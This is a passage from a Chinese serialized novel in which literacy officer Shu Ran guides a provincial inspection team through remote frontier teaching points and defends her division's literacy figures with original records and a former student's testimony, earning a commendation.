“进去说。”舒染侧身挤进门,顺手关上门,屋里比外面暖和不了多少。 “省里统计组提前来了,后天就到我们师,重点查流动教学点。”舒染开门见山地说。 姜咏红的脸瞬间白了,“后……后天?舒干事,我……我们这……” “别慌。”舒染打断他,目光扫过这间简陋的屋子,炕桌上摊着几本作业本和一本翻旧了的字典。“把你这里所有学员的名单、最近的签到记录、还有他们写的作业,全部拿出来给我看。” “哎,好,好!”姜咏红连忙转身,在一个旧木箱里翻找起来,手有些抖。 舒染就着昏暗的煤油灯,快速翻阅着那些用各种纸张订成的作业本。字迹歪歪扭扭,大多是简单的汉字和数字,但能看出书写者的认真。签到记录也比较零散,有些只是简单的划“正”字。 “咏红,统计组来,可能会问很多问题,也会看这些本子。”舒染抬起头,看着紧张得额头冒汗的姜咏红,“你记住,就按平时的样子来,他们问什么,你就如实回答。认识多少字,会写多少,干了什么,都照实说。不用夸大,也不用害怕。” “可是舒干事,刘老师他……”姜咏红欲言又止。 “刘老师是刘老师,你是你。”舒染语气斩钉截铁,“你教孩子们认字,教他们写自己的名字,看工分票,这都是功劳。上面要查的是扫盲成效,只要你这里确实有人通过学习脱了盲,你就是有功的!谁也否定不了!” 她的话让姜咏红慌乱的心安定了一些。 “那……那我该准备点啥?” “把屋里收拾干净,把这些本子按顺序理好。明天白天,把你能找到的学员都通知到,告诉他们可能有领导来问话,让他们别怕,知道什么说什么。”舒染说着,从帆布包里拿出几张空白的表格和一支钢笔,“你现在把你这里所有学员的姓名、年龄、学习时间、目前大概的识字量,给我列个清单。不会写的问我。” “现在?”姜咏红看了看窗外漆黑的夜色。 “对,现在。我等你。” 煤油灯下,姜咏红握着钢笔开始填写。舒染就坐在她对面,一边看她写,一边低声询问和纠正。 直到后半夜,清单才勉强写完。舒染仔细核对了一遍,叠好收进包里。 “我走了,去下一个点。”舒染站起身,腿脚因为久坐而有些麻木。 “舒干事,这大半夜的,您去哪儿啊?就在这儿将就一晚吧!”姜咏红急忙挽留。 “不了,时间紧。”舒染摇摇头,重新围好围巾,“姜老师,记住我的话,稳住心态,照常教学。这正是是咱们见真章的时候。” 她推开门,再次走入夜色中。手电筒的光比来时微弱了。必须赶在天亮前抵达下一个教学点。 * 第三天下午,一扫盲成效统计组如期而至。 组长是一位司令部姓郑的领导,五十岁上下,面容严肃。陪同前来的,还有几位主任和若干名工作人员。 林副政委带着孙处长和教育科全体人员在办公楼前迎接。简单的寒暄后,郑组长长直接切入主题:“林政委、孙处长,客套话就不多说了。我们这次时间紧,任务重,希望能看到最真实的情况。听说你们师搞了个流动教学点,很有特色?我们就先从这些地方看起吧。” 林副政委看向孙处长,示意他去做安排。 “没问题,郑组长。”孙处长脸上堆着笑,目光不自觉地去搜寻舒染的身影。舒染是今天早上才匆匆赶回来的。 “郑组长,各位领导,”舒染上前一步,语气不卑不亢,“我是师部教育科干事舒染,主要负责流动教学点的具体工作。各位想了解情况,我可以带路,并做简要汇报。” 郑组长打量了她一眼,似乎有些惊讶于她的年轻。“舒染同志?好,那就请你安排吧。” “领导们一路辛苦,是否先休息一下……”孙处长试图缓和。 “不必了。”郑组长摆手,“直接去点上看。” 舒染心中了然,这是要打她个措手不及。她面色不变:“好的。请各位领导跟我来。我们第一个点,去X团三连附近的牧区教学点,车程大概一个半小时。” 车队再次出发。舒染和孙处长坐在第一辆车的后排。孙处长压低声音:“怎么样?有把握吗?” 舒染看着窗外飞速后退的戈壁景致,轻轻“嗯”了一声。“姜咏红那边,我交代过了。问题不大。” “听说你跑了一夜?”孙处长看着她眼下的青黑。 “还好。”舒染不欲多言。她确实几乎没合眼,跑完了两个最偏远的教学点,稳定了军心,收集了第一手情况。剩下的,只能交给事实。 一个多小时后,车队在颠簸中停下。眼前是几间稀疏的土坯房,比那晚看起来更显荒凉。姜咏红已经带着七八个牧民和孩子等在了那里,神情拘谨不安。 郑组长下车,环视四周。这环境,比他想象的还要艰苦。 舒染引着众人走向那间充当教室的土坯房。屋里比外面暖和些,墙上挂着一块用墨汁涂黑的木板,下面用土坯垒了几排矮凳。条件简陋得近乎原始。 “郑组长,这就是我们设在牧区的流动教学点之一。”舒染开口,声音平稳,“负责的老师是姜咏红同志,本地人,初中文化。目前固定学员有十二人,主要是附近的牧民和他们的孩子。” 郑组长没说话,走到那块黑板前,上面还用石灰块写着几个歪歪扭扭的汉字——“天”、“地”、“人”、“羊”。 “就学这些?”郑组长拿起半截石灰块,在手里掂了掂。 姜咏红紧张得手心冒汗,结结巴巴地回答:“报、报告领导,还……还教认名字,数数,看……看工分票……” 舒染接过话头,语气自然:“郑组长,牧区居住分散,生产活动季节性很强。我们的教学内容和方式,必须紧密结合他们的实际需求。识字启蒙从身边最常见的事物开始,数字教学与放牧计数、工分计算结合,目的是让他们立刻感受到学习的用处,这样才能坚持下去。” 郑组长不置可否,转向一个缩在母亲身后约莫七八岁的男孩:“娃娃,你叫什么名字?认识黑板上这几个字吗?” 那男孩吓得直往母亲怀里钻。他母亲是个少数民族妇女,局促地搓着手,用生硬的汉语说:“领导……他,怕生……他,会写名字……写……” 姜咏红赶紧拿出一个作业本,翻到一页,上面用铅笔歪歪扭扭写着“叶尔肯”三个字。“领导,他叫叶尔肯,这是他自己学着写的名字。” 郑组长看了看那稚嫩的笔迹,又随手翻开其他作业本,里面大多是抄写的简单汉字和数字运算。 “学习效果怎么考核?”郑组长问。 “我们目前没有统一的考试。”舒染回答,“主要是通过日常作业、课堂提问,以及观察他们在实际生活中运用知识的情况来判断。比如,能看懂简单的通知、会写自己的名字和基本数字、能计算简单的工分,我们认为就达到了初步的扫盲标准。” 这时,统计组里一个戴眼镜的年轻工作人员拿出了一份名单,开始随机点名,并要求被点到的人写自己的名字,或者认读几个简单的字。 场面有些混乱,有的牧民紧张得手发抖,字写得歪七扭八;有的认字结结巴巴。但绝大多数,确实能写出自己的名字,认出“男”、“女”、“工分”、“粮食”等常用字。 郑组长一直沉默地看着,脸上看不出喜怒。 考察进行了近一个小时,统计组收集了一些作业本,拍了几张照片。临走时,郑组长对姜咏红说:“赵老师,条件很艰苦,坚持教学,你们很不容易啊。” 姜咏红激动得脸都红了,连连点头:“应该的,应该的,领导!” 回到车上,郑组长闭目养神,一路无话。孙处长和舒染交换了一个眼神,心里都没底。这第一关,算是勉强过了,但显然,郑组长并不满意。 “去下一个点。”郑组长睁开眼,吩咐司机,“去那个……红星岩附近的教学点。” 车内气氛瞬间凝滞。 孙处长脸色微变:“郑组长,红星岩那边……” “怎么?有什么不方便?”郑组长目光如炬。 舒染的心提到了嗓子眼,但面上依旧镇定:“郑组长,红星岩教学点最近的负责人刘老师,因为一些情况,正在配合工作组调查。那个点目前暂时由邻近点的老师代为兼顾,可能……不如刚才这个点规范。” 她选择实话实说,在这种时候,隐瞒只会更糟。 郑组长盯着她看了几秒,眼神锐利“哦?那更要去看看了。看看离开了负责人,你们的教学点是不是就真的停了摆。” 车队转向,朝着更偏远的红星岩方向驶去。 舒染的手在身侧悄悄握紧。她之前刻意避开了红星岩,就是不想触碰这个雷区。但现在躲不过了。她只能祈祷那个代管的老师没有因为刘老师的事而慌了手脚,她前夜仓促的叮嘱能起到作用。 戈壁滩上的路越发崎岖,车子颠簸得厉害,像她此刻七上八下的心。 第137章 红星岩教学点的情况比舒染预想的还要糟。 所谓的教学点, 只是借用了一户牧民闲置的半塌的羊圈棚子。里面只有四五个面黄肌瘦的孩子,和一个看起来紧张到说话磕巴的代课老师——一个叫刘小栓的少年,他自己也才脱盲不久。 统计组的人进去转了一圈, 看着空空荡荡、连块像样黑板都没有的棚子,以及那几个连自己名字都写不全的孩子, 脸色都沉了下来。 郑组长什么也没说,只是用笔记本记录着什么,然后示意去下一个地方。 接下来的半天, 统计组又随机抽查了师部附近的两个正规连队扫盲班。情况稍好,但学员的识字水平和应用能力,显然没能达到郑组长的预期。 傍晚,统计组下榻在师部招待所。气氛降到了冰点。 孙处长在办公室里来回踱步。 “坏了, 这下印象分估计是砸了。舒染, 你看郑组长那脸色……” 舒染坐在椅子上, 冷静地说“处长, 情况是不太好, 但还没到绝望的时候。” “还不绝望?你看看今天看的都是什么?牧区点勉强过关, 红星岩那个简直……唉!连队扫盲班也就那样!我们报上去的脱盲率,跟实际看到的有差距啊!” “有差距是正常的。”舒染站起身, 走到窗前,看着外面沉沉的夜色, “我们报的是全师整体的、经过初步考核的数据。统计组看的只是几个点,而且是在毫无准备的情况下。这本身就不完全公平。” “可人家就看这个!” “那就让他们看更多。”舒染转过身, 目光坚定, “处长,我们还有机会。” “什么机会?” “明天,统计组不是要去团部看汇总数据, 并和我们座谈吗?”舒染走到办公桌前,拿起她那个从不离身的帆布包,从里面掏出一叠厚厚的写满字的纸张和几个本子。 “这是什么?”孙处长疑惑地问。 “这是我这两年,跑遍全师大部分教学点和扫盲班,记录下来的原始资料。”舒染将东西摊开在桌上,“包括每个点最早期的文盲人数、历次学习的签到记录,哪怕只是划杠的签到纸。还有部分学员前后作业的对比、还有他们自己写的哪怕只有几句话的学习心得和应用实例。” 她翻开着那些纸张,上面密密麻麻的字迹,有些已经模糊。 舒染举完几个典型的例子,“这些才是扫盲工作最真实的样子,比任何汇总报表都更有说服力。它可能不完美,但它在进步。” 孙处长看着那堆旧纸有些愣住了。“你一直留着这些?” “我似乎有预感,总觉得有一天能用上。”舒染笑了笑,“明天座谈,我不打算念那些干巴巴的报告。我想让统计组的领导看看,在边疆这种地方,扫盲两个字,背后意味着什么。” “死马当活马医吧!那就按你说的办!” “还有,”舒染沉吟片刻,“处长,能不能想办法,明天请一两位从我们扫盲班的职工或者家属来?让他们自己说,比我们说一百句都管用。” “这个……有点难,时间太紧……” “试试看。”舒染眼神灼灼,“哪怕只有一个,也能说明问题。” 同一时间,招待所郑组长的房间里。 “老郑,看来这个师的情况,有点水分啊。”兵团宣传部的副主任喝着茶,慢悠悠地说。 郑组长没说话,翻看着今天记录的内容,眉头紧锁。 “特别是那个叫舒染的干事,名气挺大,可今天看的这几个点,实在……啧啧。听说她背景还有点复杂。”副主任继续敲着边鼓。 郑组长合上笔记本,揉了揉眉心。“工作归工作,背景归背景。今天看的点,确实不尽如人意,牧区那个还算实诚,红星岩那个……基本就是摆烂。但是……”他顿了顿,“那个舒染,有点意思。” “哦?” “年纪轻轻,沉得住气。解释情况不推诿,不夸张,有一说一。而且,”郑组长指了指窗外,“你发现没有,我们今天去的点,虽然偏,路也不好走,但她带路非常熟,跟那些老师、牧民打招呼也很自然,不像临时抱佛脚。这说明,她是真在下面跑了的。” 副主任不以为然:“会跑有什么用?得出成效才行。” “明天看看他们整体的数据,再听听他们怎么说吧。”郑组长站起身,“耳听为虚,眼见也未必为实。有时候,最真实的东西久藏在细节里。” 此时的舒染正伏在桌上,最后一次梳理她明天要讲的内容。 她不知道明天等待她的是什么,是功亏一篑,还是绝处逢生。 第二天,师部会议室里。 长条桌一侧坐着以郑组长为首的统计组成员,个个面色严肃;另一侧是孙处长、舒染,以及师部教育科的几名骨干,气氛凝重。 郑组长面前摊着师部的汇报材料,他没看那些表格,反而拿起旁边一份兵团下发的《扫盲对象基数统计参考表》,慢悠悠地对照着,手指点着上面的数据:“孙处长,根据你们报上来的情况,全师非文盲率达到了百分之六十三,比上一次摸底提高了不少。” “是,郑组长,这个数字我们反复核过……”孙处长忙应道。 郑组长抬起手打断他,“昨天我们看的红星岩教学点,登记扫盲对象实际能坚持学习的不到十人,目前能达到你们初步考核标准的,据那个代课娃娃说,只有三个。Z团十三连牧区点,登记对象六十二人,固定学员十二人,达到标准约八人。职工全覆盖的连队扫盲班情况稍好,但抽查的两个班,达标率也未超过六成。” 他每报一个数字,孙处长的脸色就白一分。 “我不怀疑你们汇总数据的程序。”郑组长放下参考表,“但我很好奇,从这些点的实际情况,到你们报上来的全师数据,中间的巨大差额,是怎么补上的?是靠算盘珠子弹出来的,还是有什么我们没看到的特效药?” 这个问题太刁钻,会议室里鸦雀无声。 “郑组长。”舒染站起身,她把一个鼓鼓囊囊的帆布大包从脚边提到桌子上。 “您观察得很仔细,提出的问题也非常关键。您看到的这几个点,确实是我们师目前扫盲工作最薄弱、最难啃的几块骨头。它们无法代表全师的整体水平,但它们的存在,恰恰说明了我们为什么要把流动教学和集中扫盲结合起来。” 她帆布包里拿出几本厚厚的用针线粗糙装订的大册子,封面上用毛笔写着《XX团扫盲对象名册及进度跟踪》,纸张泛黄,边缘磨损得厉害。 “这是我们开展扫盲工作之初,带着各连队文书、卫生员、甚至识字家属,花了两个多月,一个一个连队、一片一片牧区跑出来,登记造册的原始名册。”舒染将其中一本最厚的推到桌子中央,“全师八千七百六十三名扫盲对象,每个人的姓名、年龄、所属连队或牧区、初始文化程度,都在这上面。” 郑组长挑了挑眉,示意她继续。 舒染又拿出另外几本稍新但同样厚实的册子。“这是后续的《学习进度跟踪册》和《初步考核记录》。我们不像正规学校,没有试卷。我们的考核,就是由连队干部、扫盲□□或指定的考核员,拿着这些册子,对照名册,随机抽查认读常用字、书写姓名、计算简单的算术题。通过的,就在后面打钩,签名确认。” 她翻开一页,指给郑组长看。上面是密密麻麻的人名,后面跟着简单的日期和打钩,考核员签名各异,笔迹稚嫩或老练皆有。 “您说的那几个薄弱点,情况特殊,进度缓慢,它们的达标人数,确实远远拉低了整体平均值。”舒染话锋一转,“但是,我们师有超过百分之六十的扫盲对象,集中在各团部驻地、基础较好的老连队和农场。这些地方,我们依托连部礼堂、食堂、甚至仓库,开展了大规模的集中扫盲班,师资相对稳定,学员出勤率高。” 她迅速翻到名册的另外部分,指向那些打钩密集的区域。“比如X团畜牧连,扫盲对象二百一十五人,目前通过初步考核的一百八十九人;Y团农场,对象一百七十人,通过一百五十三人……这些才是我们达标人数的大头。” 为了证明这不是空口白话,舒染又从包里拿出几个用麻绳捆着的旧报纸卷,打开,里面是大量字迹各异的纸条。 “这是我们从这些集中扫盲班随机收集的部分考核便条。有让写家庭成员名字的,有让计算一天工分的,有让认读一段简单通知的。” 她把纸条摊开,虽然字迹歪斜,但内容清晰可辨,后面也大多有考核人的简单签名和日期。 “我们的扫盲标准不高,就是‘四会’:会认三百个常用字,会写自己的名字和家庭住址,会进行百以内的加减法,能看懂简单的便条和工分票。” 舒染看着郑组长,“这个标准,对于有固定学习时间和环境的集中扫盲对象来说,经过半年到一年的学习,大部分人是能够达到的。而这部分人,占了我们扫盲对象的绝大多数。” 她指向那几本厚重的原始名册和跟踪册:“您怀疑数据有水分是正常的。这些原始记录都在这里,名册、跟踪记录、甚至部分考核便条,都对应得上。您可以随时抽样核对。我们不敢说一个不漏,一个不差,但这百分之六十三,是基于这些名字,一个一个跟踪、记录、考核,汇总上来的。这里面,有在集中扫盲班快速进步的职工,也有在牧区教学点艰难前行的牧民。我们报上去的,不是凭空想象的数字,是这全师努力脱盲的缩影。” 舒染最后拿起那份上级下发的参考表说:“郑组长,扫盲工作,就像撒网捕鱼。我们师这张网,有的地方网眼密,捞得快;有的地方网眼疏,甚至破了洞,比如红星岩,捞得慢,甚至漏鱼。但我们不能因为几个破洞,就否定整张网捞上来的鱼。我们要做的,是尽快把洞补上,同时,也要如实汇报我们已经捞上来的成果。” 她说完没人再说话,整个会议室的气氛有些微妙。 郑组长翻着名册,也不说话。 舒染知道这个郑组长并不会那么轻易被说服,但一想到自己和一线教育工作者的大量心血不能付之东流,索性豁出去了。 “郑组长,各位领导,”她合上笔记本,“回到您最初的疑虑。我想说,数字本身是真实的,它是我们根据各团各连队初步考核汇总上来的。但它也许不能完全反映您昨天看到的,那些最艰苦、最边远角落的情况。” 她的话让在场的人都愣了一下。 舒染拿起一本封皮模糊的笔记本翻开:“这是我们最早设点时,记录的学员名单。当时,能来听课的只有七个人,其中五个连自己的名字都不会写。这是他们的签到,最开始只会按手印,或者画圈。” 她将本子推向桌子中央,上面是歪歪扭扭的圆圈和模糊的指印。 “这是三个月后,同样这些人,开始签上了自己的名字。字很难看,但他们在学。” 她又拿起另一叠大小不一、纸张各异的作业本碎片,有些甚至是烟盒纸、旧报纸的边角。 “这是不同时期,不同学员的作业。领导们可以看看,字迹从完全无法辨认,到逐渐工整;从只会抄写,到能写简单的句子。” 她一张张地展示着。 “您昨天去的牧区点,姜咏红老师那里,条件确实简陋。但就是在那个漏风的土坯房里,十二个牧民和他们的孩子,现在基本都能写出自己的名字,能看懂连队发的简单通知。对他们来说,对于祖国的扫盲精神来说,是有重大意义的。” 舒染看向郑组长:“我们报上去的百分之六十三,就意味着全师有成千上万个原本一字不识的人,现在达到了脱盲的标准。这个数字背后,是无数个从无到有的转变。” 她看着统计组每一位成员:“扫盲工作,在边疆,尤其是在牧区和偏远连队,它不是一项可以快速量产的政绩工程。它更像是在戈壁滩上种树,一锹一锹地挖坑,一棵一棵地浇水,进展缓慢,甚至随时可能因为一场风沙就前功尽弃。我们无法保证每一棵树都能成活,但我们呈报的数字,是那些已经扎下根、抽出芽的树苗。它们可能还很矮小,但它们活着,在长。它们需要一些时间和耐心。” 她最后拿起一份她自己手绘的标注着各教学点位置和进展的地图:“我们边疆域辽阔,情况复杂。有些地方成效显著,比如一些基础好的老连队;有些地方,就像红星岩,因为各种原因,步履维艰,甚至暂时停滞。我们不敢隐瞒困难,也从未停止努力。这份汇总数据,是我们基于现有条件下,能做到的最真实的统计。它可能不完美,但它代表了我们已经走过的路,和路上那些点点滴滴的变化。” 会议室里依旧是一片沉默。 郑组长拿起一份边缘卷曲的作业本看了很久。那上面,封皮上写着一个叫少数民族的名字,封皮里面用铅笔反复写着“我爱我的家乡,我爱我的祖国”。 就在这时,会议室的门被轻轻敲响了。 孙处长皱了皱眉,这个时候谁来打扰?他刚想说“等等”,舒染却开口道:“处长,可能是畜牧连那边送材料的人来了,我昨天让他们顺便带点东西过来。” 孙处长有些疑惑,但看到舒染平静的眼神,还是扬声道:“进来。” 门被推开,进来的不是连队的文书,而是一个身材结实的少数民族少年。他手里攥着一个笔记本,神情紧张。 是阿迪力。 统计组的人都有些意外地看着这个不速之客。 舒染走到阿迪力身边,对郑组长介绍道:“郑组长,这位是阿迪力,来自畜牧连附近的牧区,是我们启明小学最早的学生之一,也是我们扫盲工作的受益者。” 阿迪力悄悄吸了一口气,按照舒染之前悄悄嘱咐他的,走到会议桌前,先是对着各位领导鞠了一躬,然后举起了手中的笔记本。 “领导们……我是阿迪力。”他用清晰流利的汉语说道,声音因为紧张而有些发颤,但努力保持着镇定,“我以前,只懂放羊,汉字一个都不认识。” 他翻开笔记本,第一页是歪歪扭扭的“阿迪力”三个字,后面几页是简单的数字和“羊”、“马”、“草”等字样,笔迹幼稚。“舒老师教我写名字、认字。” 他继续往后翻,笔记本上的字迹逐渐变得工整了些,开始出现短句,夹杂着一些拼音和简笔画。“我知道学习有用的。慢慢的我能看懂连队的通知。” 然后,他翻到了最近几页,上面不再是简单的抄写,而是用条理清晰的文字,记录着一些牲畜的常见症状和对应的药物名称、用量,旁边还画着简单的示意图。 “现在,我跟着连队兽医站的刘技术员学习。”阿迪力的语气里带上了一丝骄傲,“能看懂药瓶子上的字。能帮忙记病历。刘技术员说我学得好,以后能当兽医。” 他合上笔记本,看着郑组长,眼神坚定:“学习让我不再是放羊娃。我能做更多事。我们牧区很多娃娃都想学。” 阿迪力的话,以及他手中那本记录着他从文盲到能协助兽医工作的笔记本,和他眼神里焕发出的光彩,比任何华丽的汇报都更有力量。 他就是一个活生生的因扫盲工作而改变了人生轨迹的例子。 舒染适时地开口:“郑组长,数据是冷的,但人是活的。阿迪力只是我们帮助的数千个扫盲对象中的一个。我觉得扫盲的意义,不仅仅在于让数字变得好看,更在于让千千万万个这样的孩子,有机会看到更广阔的世界,有能力创造更美好的生活。” 郑组长站起身,绕过会议桌走到阿迪力面前,拍了拍阿迪力的肩膀上,“好!好小子!” “舒染同志,”郑组长的声音比刚才缓和了许多,“你举的这些例子很宝贵,比报表上的数字更有说服力。” 他环视了一下会议室,面向所有工作组人说:“我们搞统计,不是为了揪住数字上的小数点不放,归根结底,是要看这项工作,到底给群众带来了什么。昨天我们看到了一些困难,今天,我们也看到了这些困难背后具体人的努力和变化。” 他转而对孙处长说:“孙处长,你们的工作,有不足,有困难,但也有亮点有成效。特别是这种深入基层的做法值得肯定。扫盲工作,尤其是在边疆,急不得,但也慢不得。要的,就是这份扎实和耐心。” 孙处长悄悄舒了口气,连忙点头:“是,是,郑组长批评得对,我们一定改进,一定更加扎实!” 座谈会的后半程,气氛明显松弛下来。统计组开始更细致地询问一些具体教学方法和物资保障问题,舒染和孙处长一一作答。 会议结束时,郑组长特意走到舒染面前,看着她眼下的疲惫,语气缓和:“舒染同志,辛苦了。回去把你们这些原始记录,挑一些有代表性的,整理一份简要说明,附在汇报材料后面。我们要带回去研究。” “是,郑组长。”舒染点头,心里那块悬着的巨石终于落下了一半。 她知道,这一关算是险险地过了。但统计组最终的结论如何,上面会怎样看待他们的工作,一切都还是未知数。 舒染走出会议室,午后的阳光有些刺眼。她下意识地望向师部大院门口的方向,空荡荡的。 第138章 统计组离开后的几天, 师部表面恢复了平静,但暗地里的波澜并未停息。 关于统计组考察的评价,出现了几种截然不同的声音。有人认为舒染力挽狂澜, 用扎实的原始资料打动了领导;也有人私下议论,说她不过是运气好, 碰上个愿意听她卖惨的领导,红星岩那个烂摊子终究是硬伤。 这些风言风语,或多或少也传到了舒染耳朵里。她没什么反应, 依旧每天埋首在办公室里,整理郑组长要的那些附带说明的原始资料。她写得很认真,每一份作业片段、每一条学习记录,都尽可能附上学员的简单情况和前后的变化对比。 她知道这些东西递上去, 要么成为她工作扎实的铁证, 要么就可能成为别人攻击她的把柄。她必须做到滴水不漏。 这天下午, 她正在誊写一份说明, 办公室的门被敲响了。 “请进。” 推门进来的是杨振华。他脸上带着温和笑容, 手里拿着两瓶橘子罐头。 “舒染, 还在忙呢?听说你这几天都没好好吃饭。”杨振华把罐头放在舒染桌角,语气自然, “后勤科刚到的,给你带一瓶, 甜得很。” 舒染从报表中抬起头笑了笑:“杨干事太客气了,这怎么好意思。” 她没有立刻去碰那罐头, 反而顺势问道:“你来得正好。统计组这次突然下来又匆匆走了, 我总觉得有些蹊跷。你人在宣传科,消息灵通,可听到什么风声?” 杨振华在她对面坐下, 神色坦然:“你倒是敏锐。”他压低声音,“上面对这次检查确实有些议论。有人说咱们师风头太劲,需要敲打,尤其关注你……”他顿了顿,话说得含蓄却明白,“和陈副处长那边的工作配合,可能被上面的人关注了。” 舒染眸光微凝,指尖在文件边缘轻轻一划:“这话是从哪里传出来的?统计组的郑组长明明肯定了我们的工作。” “源头还在查,但风声确实不小。”杨振华身体前倾,“我们科里最近整理材料,也隐约感觉到这股风向。总之,你多留心。” “明白了,多谢你提醒。”舒染语气真诚了些。 “应该的。”杨振华站起身,“你能力突出,难免招人注意。清者自清,但有需要通气的地方,尽管说。” 送走杨振华,舒染的目光落回那瓶橘黄色的罐头上。玻璃瓶身沁着水珠,这份人情她记下了,但她从不习惯白受馈赠。 她想起前几天隐约听说,宣传科最近在筹备一期重要的思想汇报专题,时间紧,任务重,正为如何提炼亮点,让材料更出彩而犯愁。 她在现代社会部时,单位里负责过不少这方面的汇报,对数据呈现和案例结合颇有心得。或许,她可以找个恰当的时机,在不越界的前提下,以交流学习的名义,帮他们梳理一下脉络,或提供几个新颖的切入点。 她拧开瓶盖,橘子香气弥漫开来。她用勺子舀了一块橘瓣送进嘴里,甜意在舌尖化开。 这份甜头她领了,总会找到合适的机会,用她自己的方式不着痕迹地还回去。 几天后的傍晚,舒染终于将整理好的厚厚一沓附加材料送到了孙处长办公室。 孙处长翻看着那装订整齐且说明清晰的材料,连连点头:“好,好!舒染,你这活儿干得漂亮!有了这个,咱们心里就更有底了。” “处长,上面的最终结论,大概什么时候能下来?”舒染问。 “估计还得一阵子,他们要汇总全疆的情况,还要评比。”孙处长放下材料,看着她,“怎么?心里没底了?” 舒染坦诚地点点头:“有点。红星岩终究是个隐患。” “刘老师那边,工作组还没结论。”孙处长叹了口气,“不过你放心,只要咱们主体工作过硬,个别点的问题,影响不了大局。你这段时间辛苦了,回去好好休息两天。我看你脸色都不太好了。” 舒染确实感到了疲惫,不光是身体上的,更是精神上的紧绷。她点点头:“谢谢处长,那我先回去了。” 走出办公楼,天色已经暗了下来。晚风带着凉意,吹在脸上倒是让她清醒了些。她没有直接回宿舍,而是绕到了办公楼后面那片白杨林。 树林里很安静,只有风吹过树叶的沙沙声。 她靠在一棵粗壮的白杨树上,闭上眼睛,深深呼吸了几口。空气中的自然的味道,让她纷乱的心绪稍微平静了一些。 不知道过了多久,一阵熟悉的脚步声由远及近。 舒染没有睁眼,只是轻轻开口:“回来了?” “嗯。”陈远疆的声音在身旁响起。 她睁开眼,看到他站在几步开外的地方。他下巴上冒出了青色的胡茬,看起来风尘仆仆又有些憔悴。 舒染只当他又去出了任务,也没多问。 两人隔着几步的距离对视着,过了一会儿,陈远疆走上前,从挎包里拿出一个油纸包,递给她。 舒染接过,打开,里面是几块烤熟的肉,还带着余温,散发着肉香味。 “路上打的,烤熟了。”他言简意赅地解释。 舒染拿起一块,咬了一口。 “统计组走了。”她一边吃,一边说,语气平静。 “听说了。”陈远疆看着她,目光落在她明显清减了的脸上,“你做得很好。” “还不知道结果。”舒染嚼着肉,声音有些含糊。 “过程比结果重要。”陈远疆顿了顿,补充道,“你做的事,对得起那些人。” 他指的是那些学员。他总是能一眼看穿她内心最在意的东西。 舒染没再说话,默默地吃着。陈远疆就站在她身边,沉默地陪着。 吃完最后一口,舒染拍了拍手上的碎屑。 “回去吧。”陈远疆说。 “嗯。” 两人一前一后走出白杨林,走向灯火零星的宿舍区。 走到舒染宿舍门口,他停下脚步。 “我明天要去趟首都。”他说。 “嗯。” “早点休息。”他看着她,眼神在昏暗的光线下显得格外深沉。 “你也是。”舒染点点头,转身掏出钥匙开门。 在她推开门进去的那一刻,陈远疆忽然低声开口:“你,等我回来。” 说完,他不等舒染反应,转身大步离开,很快消失在夜色里。 舒染握着钥匙站在门口,看着他已经空无一人的方向,良久才推门进屋,关上了门。 舒染没有问那么多,陈远疆想告诉她,自然会说。 等待的日子变得有些漫长。 舒染强迫自己回到日常的工作节奏中,继续修订教材,跟踪各教学点的情况,甚至开始着手规划下一步如何巩固红星岩那样的薄弱环节。 她用忙碌填充着每一分钟,不让自己有空隙去胡思乱想。 师部里的气氛也变得有些微妙。之前唱衰的声音似乎小了些,但观望的情绪更浓了。 有单位的熟人偶尔会来找她,言语间多了打探,舒染一律以“等通知”搪塞过去。 孙处长倒是显得比之前更有底气,几次处务会上都强调,要以此为契机,把基础工作做得更扎实。 期间,舒染抽空去了一趟畜牧连。 启明小学的孩子和家属们见到她依旧亲热。王大姐拉着她的手,絮絮叨叨说了很多连里的琐事,李秀兰则悄悄告诉她,周巧珍在的连队好像过得并不好。舒染听着,心里有些唏嘘,但更多的是对这片土地和这些人的牵挂。 她去看望了阿迪力。小伙子又长高了不少,跟着刘技术员跑前跑后,皮肤晒得更黑,眼神却愈发亮堂。他拿出一个笔记本,上面用铅笔认真记录着各种牲畜的常见病症和用药。 “舒老师,刘技术员说,等我再学扎实点,就让我试着独立处理小毛病。”阿迪力语气里带着压抑不住的兴奋。 舒染看着这个曾经倔强地冲进教室,大喊“坏老师”的少年,如今找到了自己的方向,心里涌起了成就感。 这也许就是她所有坚持的意义所在。 从畜牧连回来,她的心安定了一些。无论上面的结果如何,她的路没有走错。 时间一天天过去,关于全疆扫盲成果评比的消息,却像石沉大海,再无音讯。 连孙处长都有些坐不住了,往上面打了几次电话,得到的回复都是“正在汇总研究,请耐心等待”。 这天下午,舒染正在核对一批新到的扫盲读物书目,办公室的门被推开,孙处长高兴地了进来,手里拿着一份文件,满面红光。 “来了来了!舒染!上面的通知来了!”孙处长有些兴奋地说。 办公室里所有人都停下了手中的工作,目光齐刷刷地投向孙处长,以及他身后的舒染。 “处长,结果怎么样?”一个年轻干事忍不住问。 孙处长平复了一下情绪,“我们师……我们师的扫盲工作,获得了全疆的表扬!被评为扫盲先进师!” “哇!”办公室里爆发出欢呼声。 孙处长继续念着通知:“……尤其肯定了我们在条件艰苦的牧区和偏远连队,因地制宜开展流动教学,注重实效,积累了大量一手资料的做法……认为这是‘值得在全疆推广的宝贵经验’!” 欢呼声更响了,有人甚至鼓起了掌。 舒染站在原地,感觉心怦怦跳。 成功了?他们真的……成功了? 孙处长走到舒染面前拍了拍她的肩膀,“舒染!好样的!你是头功!上面点名,要你把流动教学点的经验,整理成详细材料,上报教育厅!而且,通知里还专门提了,鉴于你的突出贡献……” 他看着舒染,一字一句地说道:“决定授予你个人‘全疆扫盲先进个人’称号!还要给你记大功!” 办公室里再次安静下来,所有人都看着舒染。全疆先进个人,这可是罕见的荣誉。 舒染张了张嘴,却不知道说什么。巨大的喜悦和松懈感如同潮水般涌来,几乎要将她淹没。 她努力维持着镇定,但微微颤抖的指尖还是暴露了她内心的波澜。 “还有呢!”孙处长又抛出一个重磅消息,“通知里说,上面打算成立一个跨地区的扫盲工作指导小组,要从全疆抽调骨干!我们师推荐了你!舒染,你很可能要调上去了!” 这个消息比之前的荣誉更让舒染感到冲击。去一个更大的平台,指导全疆的扫盲工作?这曾经是她隐约期盼过,却不敢深想的未来。 同事们的祝贺声再次响起,将她包围。她机械地回应着,大脑却一片混乱。 喜悦是真的,努力得到认可的激动也是真的。但随之而来的,是一种更深的茫然和不确定。要离开这里?离开……他? 她下意识地望向窗外,天色湛蓝。荣誉和机遇将她推上了一个始料未及的高峰。而高峰之上,风景未知,前路亦未知。 第139章 师部大院儿里, 关于舒染获得“全疆扫盲先进个人”并记大功的消息,很快传遍各个角落。 舒染从领导办公室出来,怀里抱着本奖状, 还有用红纸包着的几十块钱奖金。阳光有些刺眼,她眯了眯眼。 “舒染同志, 